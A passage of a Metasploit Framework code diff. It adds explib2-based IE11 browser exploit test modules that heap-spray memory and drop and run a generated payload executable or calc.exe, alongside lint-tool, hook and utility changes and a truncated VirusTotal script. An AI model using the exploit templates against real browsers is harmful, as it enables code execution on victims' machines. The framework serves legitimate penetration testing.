+          :ua_name => HttpClients::IE,
+          :ua_ver  => '11.0'
+        },
+      'Targets'        =>
+        [
+          [ 'Automatic', { } ]
+        ],
+      'DisclosureDate' => "Mar 28 2014",
+      'DefaultTarget'  => 0))
+  end
+
+  def exploit_html
+
+    exe_js = Rex::Text.to_unescape(generate_payload_exe, ENDIAN_LITTLE, "\\u")
+
+    template = %Q|<html>
+<head>
+  <script>
+    <%= js_explib2_payload("drop_exec") %>
+  </script>
+  <script>
+    <%= js_explib2 %>
+  </script>
+</head>
+<body>
+<script>
+var pe_exe = "<%= exe_js %>"
+
+var num_arrays = 98688;
+var arr_size = (0x1000 - 0x20)/4;
+var explib = new ExpLib( num_arrays, arr_size, 0x1a1b3000, new payload_drop_exec(pe_exe) );
+explib.setArrContents([0x21212121, 0x22222222, 0x23232323, 0x24242424]);
+explib.spray();
+
+/*
+* Modify array length
+* In the real world exp, you  need to modify the array length field with your vulnerability
+*/
+alert( 'Execute the command in windbg: "ed 1a1b3000+18 400"' );
+
+explib.go();
+
+</script>
+</body>
+</html>
+    |
+
+    return template, binding()
+  end
+
+  def on_request_exploit(cli, request, target_info)
+    send_exploit_html(cli, exploit_html)
+  end
+
+end
diff --git a/test/modules/exploits/test/explib2_ie11_exec_test_case.rb b/test/modules/exploits/test/explib2_ie11_exec_test_case.rb
new file mode 100644
index 0000000000..0740e74062
--- /dev/null
+++ b/test/modules/exploits/test/explib2_ie11_exec_test_case.rb
@@ -0,0 +1,84 @@
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class Metasploit3 < Msf::Exploit::Remote
+  Rank = NormalRanking
+
+  include Msf::Exploit::Remote::BrowserExploitServer
+
+  def initialize(info={})
+    super(update_info(info,
+      'Name'           => "Explib2 Exec Test Case",
+      'Description'    => %q{
+        This module allows to test integration of Explib2 into metasploit.
+      },
+      'License'        => MSF_LICENSE,
+      'Author'         =>
+        [
+          'guhe120', # Original explib2 author
+          'juan vazquez'
+        ],
+      'References'     =>
+        [
+          [ 'URL', 'https://github.com/jvazquez-r7/explib2' ] # The original repo has been deleted
+        ],
+      'Platform'       => 'win',
+      'BrowserRequirements' =>
+        {
+          :source  => /script/i,
+          :os_name => OperatingSystems::WINDOWS,
+          :ua_name => HttpClients::IE,
+          :ua_ver  => '11.0'
+        },
+      'Targets'        =>
+        [
+          [ 'Automatic', { } ]
+        ],
+      'DisclosureDate' => "Mar 28 2014",
+      'DefaultTarget'  => 0))
+  end
+
+  def exploit_html
+    template = %Q|<html>
+<head>
+  <script>
+    <%=js_explib2_payload%>
+  </script>
+  <script>
+    <%=js_explib2%>
+  </script>
+</head>
+<body>
+<script>
+
+var num_arrays = 98688;
+var arr_size = (0x1000 - 0x20)/4;
+var explib = new ExpLib( num_arrays, arr_size, 0x1a1b3000, new payload_exec('calc.exe') );
+explib.setArrContents([0x21212121, 0x22222222, 0x23232323, 0x24242424]);
+explib.spray();
+
+/*
+* Modify array length
+* In the real world exp, you  need to modify the array length field with your vulnerability
+*/
+alert( 'Execute the command in windbg: "ed 1a1b3000+18 400"' );
+
+explib.go();
+
+</script>
+</body>
+</html>
+    |
+
+    return template, binding()
+  end
+
+  def on_request_exploit(cli, request, target_info)
+    send_exploit_html(cli, exploit_html)
+  end
+
+end
diff --git a/test/modules/post/test/get_env.rb b/test/modules/post/test/get_env.rb
new file mode 100644
index 0000000000..934dd40828
--- /dev/null
+++ b/test/modules/post/test/get_env.rb
@@ -0,0 +1,61 @@
+
+$:.push "test/lib" unless $:.include? "test/lib"
+require 'module_test'
+
+#load 'test/lib/module_test.rb'
+#load 'lib/rex/text.rb'
+#load 'lib/msf/core/post/common.rb'
+
+class Metasploit4 < Msf::Post
+
+  include Msf::ModuleTest::PostTest
+  include Msf::Post::Common
+
+  def initialize(info={})
+    super( update_info( info,
+        'Name'          => 'Test Post::Common Get Envs',
+        'Description'   => %q{ This module will test Post::Common get envs API methods },
+        'License'       => MSF_LICENSE,
+        'Author'        => [ 'Ben Campbell'],
+        'Platform'      => [ 'windows', 'linux', 'java', 'python' ],
+        'SessionTypes'  => [ 'meterpreter', 'shell' ]
+      ))
+  end
+
+  def test_get_env_windows
+    if session.platform =~ /win/i
+      it "should return windows path" do
+        path = get_env('WINDIR')
+        path =~ /windows/i
+      end
+
+      it "should handle % signs" do
+        path = get_env('%WINDIR%')
+        path =~ /windows/i
+      end
+    end
+  end
+
+  def test_get_env_nix
+    unless session.platform =~ /win/i
+      it "should return user" do
+        user = get_env('USER')
+        !user.blank?
+     end
+
+      it "should handle $ sign" do
+        user = get_env('$USER')
+        !user.blank?
+      end
+    end
+  end
+
+  def test_get_envs
+    it "should return multiple envs" do
+      res = get_envs('PATH','USERNAME')
+      !res['PATH'].blank? && !res['USERNAME'].blank?
+    end
+  end
+
+end
+
diff --git a/test/modules/post/test/meterpreter.rb b/test/modules/post/test/meterpreter.rb
index d29ef6f223..16dde5f61b 100644
--- a/test/modules/post/test/meterpreter.rb
+++ b/test/modules/post/test/meterpreter.rb
@@ -116,10 +116,12 @@ class Metasploit4 < Msf::Post
       res
     end
 
-    it "should return network routes" do
-      routes = session.net.config.get_routes
+    if session.commands.include?("stdapi_net_config_get_routes")
+      it "should return network routes" do
+        routes = session.net.config.get_routes
 
-      routes and routes.length > 0
+        routes and routes.length > 0
+      end
     end
 
   end
diff --git a/tools/dev/pre-commit-hook.rb b/tools/dev/pre-commit-hook.rb
index 2625d6d64a..53a5791264 100755
--- a/tools/dev/pre-commit-hook.rb
+++ b/tools/dev/pre-commit-hook.rb
@@ -1,29 +1,54 @@
 #!/usr/bin/env ruby
 
-# Check that modules actually pass msftidy checks first.
-# To install this script, make this your pre-commit hook your local
-# metasploit-framework clone. For example, if you have checked out
-# the Metasploit Framework to:
+# Check that modules actually pass msftidy checks before committing
+# or after merging.
 #
-# /home/mcfakepants/git/metasploit-framework
+# Simply symlink this script to your local .git/hooks/pre-commit script
+# and your .git/hooks/post-merge scripts. Note the lack of a trailing
+# .rb
 #
-# then you will copy this script to:
+# If you are in the top-level dir, the symlink commands would be:
 #
-# /home/mcfakepants/git/metasploit-framework/.git/hooks/pre-commit
+# ln -sf ../../tools/dev/pre-commit-hook.rb .git/hooks/pre-commit
+# ln -sf ../../tools/dev/pre-commit-hook.rb .git/hooks/post-merge
 #
-# You must mark it executable (chmod +x), and do not name it
-# pre-commit.rb (just pre-commit)
-#
-# If you want to keep up on changes with this hook, just:
-#
-# ln -sf <this file> <path to commit hook>
+# That way, you will track changes to this script when it updates
+# (rarely). If you'd prefer to copy it directly, that's okay, too (mark
+# it +x and don't name it filename.rb, just filename).
+
+def merge_error_message
+  msg = []
+  msg << "[*] This merge contains modules failing msftidy.rb"
+  msg << "[*] Please fix this if you intend to publish these"
+  msg << "[*] modules to a popular metasploit-framework repo"
+  puts "-" * 72
+  puts msg.join("\n")
+  puts "-" * 72
+end
 
 valid = true # Presume validity
 files_to_check = []
 
-results = %x[git diff --cached --name-only]
+# Who called us? If it's a post-merge check things operate a little
+# differently.
+puts "[*] Running msftidy.rb in #{$0} mode"
 
-results.each_line do |fname|
+case $0
+when /post-merge/
+  base_caller = :post_merge
+when /pre-commit/
+  base_caller = :pre_commit
+else
+  base_caller = :msftidy
+end
+
+if base_caller == :post_merge
+  changed_files = %x[git diff --name-only HEAD^ HEAD]
+else
+  changed_files = %x[git diff --cached --name-only]
+end
+
+changed_files.each_line do |fname|
   fname.strip!
   next unless File.exist?(fname) and File.file?(fname)
   next unless fname =~ /modules.+\.rb/
@@ -31,9 +56,9 @@ results.each_line do |fname|
 end
 
 if files_to_check.empty?
-  puts "--- No Metasploit modules to check, committing. ---"
+  puts "--- No Metasploit modules to check ---"
 else
-  puts "--- Checking module syntax with tools/msftidy.rb ---"
+  puts "--- Checking new and changed module syntax with tools/msftidy.rb ---"
   files_to_check.each do |fname|
     cmd = "ruby ./tools/msftidy.rb  #{fname}"
     msftidy_output= %x[ #{cmd} ]
@@ -43,12 +68,18 @@ else
       puts line
     end
   end
-  puts "-" * 52
+  puts "-" * 72
 end
 
 unless valid
-  puts "msftidy.rb objected, aborting commit"
-  puts "To bypass this check use: git commit --no-verify"
-  puts "-" * 52
-  exit(1)
+  if base_caller == :post_merge
+    puts merge_error_message
+    exit(0x10)
+  else
+    puts "[!] msftidy.rb objected, aborting commit"
+    puts "[!] To bypass this check use: git commit --no-verify"
+    puts "-" * 72
+    exit(0x01)
+  end
+
 end
diff --git a/tools/find_badchars.rb b/tools/find_badchars.rb
index 319e9981eb..545c5fa08c 100755
--- a/tools/find_badchars.rb
+++ b/tools/find_badchars.rb
@@ -62,7 +62,7 @@ input    = $stdin
 # Output
 new_badchars = ''
 
-# Parse the argument and rock that shit.
+# Parse the argument and rock it
 $args.parse(ARGV) { |opt, idx, val|
   case opt
     when "-i"
diff --git a/tools/makeiplist.rb b/tools/makeiplist.rb
new file mode 100755
index 0000000000..70ff4a055f
--- /dev/null
+++ b/tools/makeiplist.rb
@@ -0,0 +1,122 @@
+#!/usr/bin/env ruby
+
+#
+# This script takes a list of ranges and converts it to a per line ip list.
+# Demonstration:
+# echo 192.168.100.0-50 >> rangelist.txt
+# echo 192.155-156.0.1 >> rangelist.txt
+# echo 192.168.200.0/25 >> rangelist.txt
+# ruby tools/makeiplist.rb
+#
+# Author:
+# mubix
+#
+
+
+msfbase = __FILE__
+while File.symlink?(msfbase)
+  msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
+end
+
+$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
+require 'msfenv'
+require 'rex'
+require 'optparse'
+
+
+class OptsConsole
+  def self.parse(args)
+    options = {'output' => 'iplist.txt'}
+
+    opts = OptionParser.new do |opts|
+      opts.banner = %Q|This script takes a list of ranges and converts it to a per line ip list.
+Usage: #{__FILE__} [options]|
+
+      opts.separator ""
+      opts.separator "Specific options:"
+
+      opts.on("-i", '-i <filename>', "Input file") do |v|
+        options['input'] = v.to_s
+      end
+
+      opts.on("-o", '-o <filename>', "(Optional) Output file. Default: iplist.txt") do |v|
+        options['output'] = v.to_s
+      end
+
+      opts.separator ""
+      opts.separator "Common options:"
+
+      opts.on_tail("-h", "--help", "Show this message") do
+        puts opts
+        exit
+      end
+    end
+
+    begin
+      opts.parse!(args)
+      if options['input'] == nil
+        puts opts
+        raise OptionParser::MissingArgument, "-i is a required option"
+      end
+      unless ::File.exists?(options['input'])
+        raise OptionParser::InvalidArgument, "Not found: #{options['input']}"
+      end
+    rescue OptionParser::InvalidOption
+      puts "[*] Invalid option, try -h for usage"
+      exit
+    rescue OptionParser::InvalidArgument => e
+      puts "[*] #{e.message}"
+      exit
+    end
+
+    if options.empty?
+      puts "[*] No options specified, try -h for usage"
+      exit
+    end
+
+    options
+  end
+end
+
+
+#
+# Prints IPs
+#
+def make_list(in_f, out_f)
+  in_f.each_line do |range|
+    ips = Rex::Socket::RangeWalker.new(range)
+    ips.each do |ip|
+      out_f.puts ip
+      end
+    end
+end
+
+
+#
+# Returns file handles
+#
+def load_files(in_f, out_f)
+  handle_in = ::File.open(in_f, 'r')
+
+  # Output file not found, assuming we should create one automatically
+  ::File.open(out_f, 'w') {} unless ::File.exists?(out_f)
+
+  handle_out = ::File.open(out_f, 'a')
+
+  return handle_in, handle_out
+end
+
+
+options = OptsConsole.parse(ARGV)
+in_f, out_f = load_files(options['input'], options['output'])
+
+begin
+  puts "[*] Generating list at #{options['output']}"
+  make_list(in_f, out_f)
+ensure
+  # Always makes sure the file descriptors are closed
+  in_f.close
+  out_f.close
+end
+
+puts "[*] Done."
diff --git a/tools/metasm_shell.rb b/tools/metasm_shell.rb
index a7d3680822..c2610105b3 100755
--- a/tools/metasm_shell.rb
+++ b/tools/metasm_shell.rb
@@ -3,7 +3,8 @@
 # $Id$
 #
 # This tool provides an easy way to see what opcodes are associated with
-# certain x86 instructions by making use of Metasm!
+# certain x86 instructions by making use of Metasm! Also allows to get
+# friendly output from a GAS assembler source code file.
 #
 #
 # $Revision$
@@ -32,6 +33,9 @@ require 'metasm'
 #PowerPC, seems broken for now in metasm
 #@Arch = ['Ia32','MIPS','PowerPC','ARM','X86_64']
 @Arch = ['Ia32','MIPS','ARM','X86_64']
+@Endian = ['little','big']
+@architecture = ""
+@endianess = ""
 
 def usage
   $stderr.puts("\nUsage: #{$0} <options>\n" + $args.usage)
@@ -40,7 +44,8 @@ end
     
 $args = Rex::Parser::Arguments.new(
   "-a" => [ true, "The architecture to encode as (#{@Arch.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})"],
-  "-h" => [ false, "Display this help information"	])
+  "-e" => [ true, "The endianess to encode as (#{@Endian.sort.collect{|a| a + ', ' }.join.gsub(/\, $/,'')})" ],
+  "-h" => [ false, "Display this help information" ])
 
 $args.parse(ARGV) { |opt, idx, val|
   case opt
@@ -48,12 +53,20 @@ $args.parse(ARGV) { |opt, idx, val|
     found = nil
     @Arch.each { |a|
       if val.downcase == a.downcase
-        String.class_eval("@@cpu = Metasm::#{a}.new")
+        @architecture = a
+        found = true
+      end
+    }
+    usage if not found
+  when "-e"
+    found = nil
+    @Endian.each { |e|
+      if val.downcase == e.downcase
+        @endianess = e
         found = true
       end
     }
     usage if not found
-
   when "-h"
     usage
   else
@@ -61,6 +74,14 @@ $args.parse(ARGV) { |opt, idx, val|
   end
 }
 
+unless @architecture.empty?
+  if @endianess.empty?
+    String.class_eval("@@cpu = Metasm::#{@architecture}.new")
+  else
+    String.class_eval("@@cpu = Metasm::#{@architecture}.new(:#{@endianess})")
+  end
+end
+
 class String
   @@cpu ||= Metasm::Ia32.new
   class << self
@@ -98,23 +119,62 @@ class String
   def decode(base_addr=0, eip=base_addr)
     decode_blocks(base_addr, eip).to_s
   end
+
+  def disassemble(str, eip=0)
+    Metasm::Shellcode.disassemble(@@cpu, str, eip)
+  end
+
 end
 
+def parse_gas_file(filename)
+  filename = File.expand_path(filename)
+  unless ::File.exist?(filename)
+    puts "File #{filename} not found"
+    return
+  end
+  shellcode = ""
+  puts "Reading file #{filename}"
+  ::File.open(filename, "rb") do |f|
+    f.each_line do |l|
+      l.gsub!(/#.*$/, "")    # Delete comments
+      l.gsub!(/@.*$/, "")    # Delete comments
+      l.gsub!(/\..*$/, "")   # Delete directives
+      l.gsub!(/(\r|\n)/, '') # Delete newlines... just in case...
+      next if l.strip.empty?
+      shellcode << "#{l}\n"
+    end
+  end
 
+  begin
+    encoded = shellcode.encode
+    puts Rex::Text.to_ruby(encoded)
+    puts encoded.disassemble(shellcode.encode)
+  rescue Metasm::Exception => e
+    puts "Error: #{e.class} #{e.message}"
+  end
+end
 
 # Start a pseudo shell and dispatch lines to be assembled and then
 # disassembled.
 shell = Rex::Ui::Text::PseudoShell.new("%bldmetasm%clr")
 shell.init_ui(Rex::Ui::Text::Input::Stdio.new, Rex::Ui::Text::Output::Stdio.new)
 
-puts 'type "exit" or "quit" to quit', 'use ";" or "\\n" for newline', ''
+puts [
+  'type "exit" or "quit" to quit',
+  'use ";" or "\\n" for newline',
+  'type "file <file>" to parse a GAS assembler source file',
+  '']
 
 shell.run { |l|
   l.gsub!(/(\r|\n)/, '')
-  l.gsub!(/\\n/, "\n")	
+  l.gsub!(/\\n/, "\n")
   l.gsub!(';', "\n")
 
   break if %w[quit exit].include? l.chomp
+  if l.chomp.index(/^file (.*)/)
+    parse_gas_file($1)
+    next
+  end
   next if l.strip.empty?
 
   begin
diff --git a/tools/module_rank.rb b/tools/module_rank.rb
index 65fd257ea4..3c0c1357d2 100755
--- a/tools/module_rank.rb
+++ b/tools/module_rank.rb
@@ -37,9 +37,6 @@ maxrank= 600
 sort = 0
 filter= 'All'
 filters = ['all','exploit','payload','post','nop','encoder','auxiliary']
-ranks = ['Manual','Low','Average','Normal','Good','Great','Excellent']
-
-
 
 opts = Rex::Parser::Arguments.new(
   "-h" => [ false, "Help menu." ],
diff --git a/tools/msftidy.rb b/tools/msftidy.rb
index 188fa05058..07fb8e4463 100755
--- a/tools/msftidy.rb
+++ b/tools/msftidy.rb
@@ -4,10 +4,11 @@
 # Check (recursively) for style compliance violations and other
 # tree inconsistencies.
 #
-# by jduck and friends
+# by jduck, todb, and friends
 #
 require 'fileutils'
 require 'find'
+require 'time'
 
 CHECK_OLD_RUBIES = !!ENV['MSF_CHECK_OLD_RUBIES']
 
@@ -36,39 +37,50 @@ end
 
 class Msftidy
 
-  LONG_LINE_LENGTH = 200 # From 100 to 200 which is stupidly long
+  # Status codes
+  OK       = 0x00
+  WARNINGS = 0x10
+  ERRORS   = 0x20
 
-  attr_reader :full_filepath, :source, :stat, :name
+  attr_reader :full_filepath, :source, :stat, :name, :status
 
   def initialize(source_file)
     @full_filepath = source_file
     @source  = load_file(source_file)
+    @status  = OK
     @name    = File.basename(source_file)
   end
 
   public
 
-  ##
   #
-  # The following two functions only print what you throw at them,
-  # with the option of displying the line number.  error() is meant
-  # for mistakes that might actually break something.
+  # Display a warning message, given some text and a number. Warnings
+  # are usually style issues that may be okay for people who aren't core
+  # Framework developers.
   #
-  ##
-
-  def warn(txt, line=0)
-    line_msg = (line>0) ? ":#{line.to_s}" : ''
-    puts "#{@full_filepath}#{line_msg} - [#{'WARNING'.yellow}] #{txt}"
+  # @return status [Integer] Returns WARNINGS unless we already have an
+  # error.
+  def warn(txt, line=0) line_msg = (line>0) ? ":#{line}" : ''
+    puts "#{@full_filepath}#{line_msg} - [#{'WARNING'.yellow}] #{cleanup_text(txt)}"
+    @status == ERRORS ? @status = ERRORS : @status = WARNINGS
   end
 
+  #
+  # Display an error message, given some text and a number. Errors
+  # can break things or are so egregiously bad, style-wise, that they
+  # really ought to be fixed.
+  #
+  # @return status [Integer] Returns ERRORS
   def error(txt, line=0)
-    line_msg = (line>0) ? ":#{line.to_s}" : ''
-    puts "#{@full_filepath}#{line_msg} - [#{'ERROR'.red}] #{txt}"
+    line_msg = (line>0) ? ":#{line}" : ''
+    puts "#{@full_filepath}#{line_msg} - [#{'ERROR'.red}] #{cleanup_text(txt)}"
+    @status = ERRORS
   end
 
+  # Currently unused, but some day msftidy will fix errors for you.
   def fixed(txt, line=0)
-    line_msg = (line>0) ? ":#{line.to_s}" : ''
-    puts "#{@full_filepath}#{line_msg} - [#{'FIXED'.green}] #{txt}"
+    line_msg = (line>0) ? ":#{line}" : ''
+    puts "#{@full_filepath}#{line_msg} - [#{'FIXED'.green}] #{cleanup_text(txt)}"
   end
 
 
@@ -90,19 +102,31 @@ class Msftidy
     end
   end
 
+  def check_nokogiri
+    msg = "Requiring Nokogiri in modules can be risky, use REXML instead."
+    has_nokogiri = false
+    @source.each_line do |line|
+      if line =~ /^\s*(require|load)\s+['"]nokogiri['"]/
+        has_nokogiri = true
+        break
+      end
+    end
+    error(msg) if has_nokogiri
+  end
+
   def check_ref_identifiers
     in_super = false
     in_refs  = false
 
     @source.each_line do |line|
-      if !in_super and line =~ /[\n\t]+super\(/
+      if !in_super and line =~ /\s+super\(/
         in_super = true
       elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/
         in_super = false
         break
       end
 
-      if in_super and line =~ /'References'[[:space:]]*=>/
+      if in_super and line =~ /["']References["'][[:space:]]*=>/
         in_refs = true
       elsif in_super and in_refs and line =~ /^[[:space:]]+\],*/m
         break
@@ -183,7 +207,7 @@ class Msftidy
       end
     end
 
-    if @source =~ /'Version'[[:space:]]*=>[[:space:]]*['"]\$Revision\$['"]/
+    if @source =~ /["']Version["'][[:space:]]*=>[[:space:]]*['"]\$Revision\$['"]/
       warn("Keyword $Revision$ is no longer needed.")
     end
   end
@@ -204,7 +228,7 @@ class Msftidy
       #
       # Mark our "super" code block
       #
-      if !in_super and line =~ /[\n\t]+super\(/
+      if !in_super and line =~ /\s+super\(/
         in_super = true
       elsif in_super and line =~ /[[:space:]]*def \w+[\(\w+\)]*/
         in_super = false
@@ -214,7 +238,7 @@ class Msftidy
       #
       # While in super() code block
       #
-      if in_super and line =~ /'Name'[[:space:]]*=>[[:space:]]*['|"](.+)['|"]/
+      if in_super and line =~ /["']Name["'][[:space:]]*=>[[:space:]]*['|"](.+)['|"]/
         # Now we're checking the module titlee
         mod_title = $1
         mod_title.each_char do |c|
@@ -235,7 +259,7 @@ class Msftidy
       #
       # Mark our 'Author' block
       #
-      if in_super and !in_author and line =~ /'Author'[[:space:]]*=>/
+      if in_super and !in_author and line =~ /["']Author["'][[:space:]]*=>/
         in_author = true
       elsif in_super and in_author and line =~ /\],*\n/ or line =~ /['"][[:print:]]*['"][[:space:]]*=>/
         in_author = false
@@ -269,7 +293,7 @@ class Msftidy
     end
   end
 
-  def test_old_rubies
+  def check_old_rubies
     return true unless CHECK_OLD_RUBIES
     return true unless Object.const_defined? :RVM
     puts "Checking syntax for #{@name}."
@@ -299,10 +323,10 @@ class Msftidy
   end
 
   def check_disclosure_date
-    return if @source =~ /Generic Payload Handler/ or @source !~ / \< Msf::Exploit/
+    return if @source =~ /Generic Payload Handler/
 
     # Check disclosure date format
-    if @source =~ /'DisclosureDate'.*\=\>[\x0d\x20]*['\"](.+)['\"]/
+    if @source =~ /["']DisclosureDate["'].*\=\>[\x0d\x20]*['\"](.+)['\"]/
       d = $1  #Captured date
       # Flag if overall format is wrong
       if d =~ /^... \d{1,2}\,* \d{4}/
@@ -318,17 +342,27 @@ class Msftidy
         error('Incorrect disclosure date format')
       end
     else
-      error('Exploit is missing a disclosure date')
+      error('Exploit is missing a disclosure date') if @source =~ / \< Msf::Exploit/
     end
   end
 
   def check_title_casing
-    if @source =~ /'Name'[[:space:]]*=>[[:space:]]*['"](.+)['"],*$/
+    whitelist = %w{
+      a an and as at avserve callmenum configdir connect debug docbase dtspcd
+      execve file for from getinfo goaway gsad hetro historysearch htpasswd
+      ibstat id in inetd iseemedia jhot libxslt lmgrd lnk load main map
+      migrate mimencode multisort name net netcat nodeid ntpd nttrans of
+      on onreadystatechange or ovutil path pbot pfilez pgpass pingstr pls
+      popsubfolders prescan readvar relfile rev rexec rlogin rsh rsyslog sa
+      sadmind say sblistpack spamd sreplace tagprinter the to twikidraw udev
+      uplay user username via welcome with ypupdated zsudo
+    }
+
+    if @source =~ /["']Name["'][[:space:]]*=>[[:space:]]*['"](.+)['"],*$/
       words = $1.split
       words.each do |word|
-        if %w{and or the for to in of as with a an on at via from}.include?(word)
+        if whitelist.include?(word)
           next
-        elsif %w{pbot}.include?(word)
         elsif word =~ /^[a-z]+$/
           warn("Suspect capitalization in module title: '#{word}'")
         end
@@ -388,10 +422,6 @@ class Msftidy
         error("Unicode detected: #{ln.inspect}", idx)
       end
 
-      if (ln.length > LONG_LINE_LENGTH)
-        warn("Line exceeding #{LONG_LINE_LENGTH.to_s} bytes", idx)
-      end
-
       if ln =~ /[ \t]$/
         warn("Spaces at EOL", idx)
       end
@@ -432,11 +462,37 @@ class Msftidy
 
       # do not change datastore in code
       if ln =~ /(?<!\.)datastore\[["'][^"']+["']\]\s*=(?![=~>])/
-        error("datastore is modified in code: #{ln.inspect}", idx)
+        error("datastore is modified in code: #{ln}", idx)
+      end
+
+      # do not read Set-Cookie header
+      if ln =~ /\[['"]Set-Cookie['"]\]/i
+        warn("Do not read Set-Cookie header directly, use res.get_cookies instead: #{ln}", idx)
+      end
+
+      # Auxiliary modules do not have a rank attribute
+      if ln =~ /^\s*Rank\s*=\s*/ and @source =~ /<\sMsf::Auxiliary/
+        warn("Auxiliary modules have no 'Rank': #{ln}", idx)
       end
     }
   end
 
+  def check_vuln_codes
+    checkcode = @source.scan(/(Exploit::)?CheckCode::(\w+)/).flatten[1]
+    if checkcode and checkcode !~ /^Unknown|Safe|Detected|Appears|Vulnerable|Unsupported$/
+      error("Unrecognized checkcode: #{checkcode}")
+    end
+  end
+
+  def check_vars_get
+    test = @source.scan(/send_request_(?:cgi|raw)\s*\(\s*\{?\s*['"]uri['"]\s*=>\s*[^=})]*?\?[^,})]+/im)
+    unless test.empty?
+      test.each { |item|
+        warn("Please use vars_get in send_request_cgi and send_request_raw: #{item}")
+      }
+    end
+  end
+
   private
 
   def load_file(file)
@@ -446,18 +502,31 @@ class Msftidy
     f.close
     return buf
   end
+
+  def cleanup_text(txt)
+    # remove line breaks
+    txt = txt.gsub(/[\r\n]/, ' ')
+    # replace multiple spaces by one space
+    txt.gsub(/\s{2,}/, ' ')
+  end
 end
 
+#
+# Run all the msftidy checks.
+#
+# @param full_filepath [String] The full file path to check
+# @return status [Integer] A status code suitable for use as an exit status
 def run_checks(full_filepath)
   tidy = Msftidy.new(full_filepath)
   tidy.check_mode
   tidy.check_shebang
+  tidy.check_nokogiri
   tidy.check_ref_identifiers
   tidy.check_old_keywords
   tidy.check_verbose_option
   tidy.check_badchars
   tidy.check_extname
-  tidy.test_old_rubies
+  tidy.check_old_rubies
   tidy.check_ranking
   tidy.check_disclosure_date
   tidy.check_title_casing
@@ -466,6 +535,9 @@ def run_checks(full_filepath)
   tidy.check_lines
   tidy.check_snake_case_filename
   tidy.check_comment_splat
+  tidy.check_vuln_codes
+  tidy.check_vars_get
+  return tidy
 end
 
 ##
@@ -476,9 +548,12 @@ end
 
 dirs = ARGV
 
+@exit_status = 0
+
 if dirs.length < 1
   $stderr.puts "Usage: #{File.basename(__FILE__)} <directory or file>"
-  exit(1)
+  @exit_status = 1
+  exit(@exit_status)
 end
 
 dirs.each do |dir|
@@ -487,9 +562,12 @@ dirs.each do |dir|
       next if full_filepath =~ /\.git[\x5c\x2f]/
       next unless File.file? full_filepath
       next unless full_filepath =~ /\.rb$/
-      run_checks(full_filepath)
+      msftidy = run_checks(full_filepath)
+      @exit_status = msftidy.status if (msftidy.status > @exit_status.to_i)
     end
   rescue Errno::ENOENT
     $stderr.puts "#{File.basename(__FILE__)}: #{dir}: No such file or directory"
   end
 end
+
+exit(@exit_status.to_i)
diff --git a/tools/virustotal.rb b/tools/virustotal.rb
new file mode 100755
index 0000000000..16fe01fd80
--- /dev/null
+++ b/tools/virustotal.rb
@@ -0,0 +1,568 @@
+#!/usr/bin/env ruby
+
+##
+# This module requires Metasploit: http//metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+#
+# This script will check multiple files against VirusTotal's public analysis service. You are
+# limited to at most 4 requests (of any nature in any given 1 minute time frame), because
+# VirusTotal says so. If you prefer your own API key, you may get one at virustotal.com
+#
+# VirusTotal Terms of Service:
+# https://www.virustotal.com/en/about/terms-of-service/
+#
+# Public API documentations can be found here:
+# https://www.virustotal.com/en/documentation/public-api/
+# https://api.vtapi.net/en/doc/
+#
+# WARNING:
+# When you upload or otherwise submit content, you give VirusTotal (and those we work with) a
+# worldwide, royalty free, irrevocable and transferable licence to use, edit, host, store,
+# reproduce, modify, create derivative works, communicate, publish, publicly perform, publicly
+# display and distribute such content.
+#
+# Author:
+# sinn3r <sinn3r[at]metasploit.com>
+#
+
+
+msfbase = __FILE__
+while File.symlink?(msfbase)
+  msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
+end
+
+$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
+require 'fastlib'
+require 'msfenv'
+require 'rex'
+require 'msf/core'
+require 'digest/sha2'
+require 'optparse'
+require 'json'
+require 'timeout'
+
+#
+# Prints a status message
+#
+def print_status(msg='')
+  $stdout.puts "[*] #{msg}"
+end
+
+
+#
+# Prints an error message
+#
+def print_error(msg='')
+  $stdout.puts "[-] #{msg}"
+end
+
+
+module VirusTotalUtility
+
+class ToolConfig
+
+  def initialize
+    @config_file ||= Msf::Config.config_file
+    @group_name  ||= 'VirusTotal'
+  end
+
+  #
+  # Saves the VirusTotal API key to Metasploit's config file
+  # @param key [String] API key
+  # @return [void]
+  #
+  def save_api_key(key)
+    _set_setting('api_key', key)
+  end
+
+
+  #
+  # Returns the VirusTotal API key from Metasploit's config file
+  # @return [String] the API key
+  #
+  def load_api_key
+    _get_setting('api_key') || ''
+  end
+
+
+  #
+  # Sets the privacy waiver to true after the tool is run for the very first time
+  # @return [void]
+  #
+  def save_privacy_waiver
+    _set_setting('waiver', true)
+  end
+
+
+  #
+  # Returns whether a waver is set or not
+  # @return [Boolean]
+  #
+  def has_privacy_waiver?
+    _get_setting('waiver') || false
+  end
+
+
+  private
+
+
+  #
+  # Sets a setting in Metasploit's config file
+  # @param key_name [String] The Key to set
+  # @param value [String] The value to set
+  # @return [void]
+  #
+  def _set_setting(key_name, value)
+    ini = Rex::Parser::Ini.new(@config_file)
+    ini.add_group(@group_name) if ini[@group_name].nil?
+    ini[@group_name][key_name] = value
+    ini.to_file(@config_file)
+  end
+
+
+  #
+  # Returns a setting from Metasploit's config file
+  # @param key_name [String] The setting to get
+  # @return [void]
+  #
+  def _get_setting(key_name)
+    ini = Rex::Parser::Ini.new(@config_file)
+    group = ini[@group_name]
+    return nil if group.nil?
+    return nil if group[key_name].nil?
+
+    group[key_name]
+  end
+
+end
+
+
+class VirusTotal < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpClient
+
+  def initialize(opts={})
+    @api_key     = opts['api_key']
+    @sample_info = _load_sample(opts['sample'])
+
+    # It should resolve to 74.125.34.46, and the HOST header (HTTP) must be www.virustotal.com, or
+    # it will return a 404 instead.
+    rhost = Rex::Socket.resolv_to_dotted("www.virustotal.com") rescue '74.125.34.46'
+
+    # Need to configure HttpClient to enable SSL communication
+    super(
+      'DefaultOptions' =>
+        {
+          'SSL'   => true,
+          'RHOST' => rhost,
+          'RPORT' => 443
+        }
+    )
+  end
+
+
+  #
+  # Submits a malware sample for VirusTotal to scan
+  # @param sample [String] Data to analyze
+  # @return [Hash] JSON response
+  #
+  def scan_sample
+    opts = {
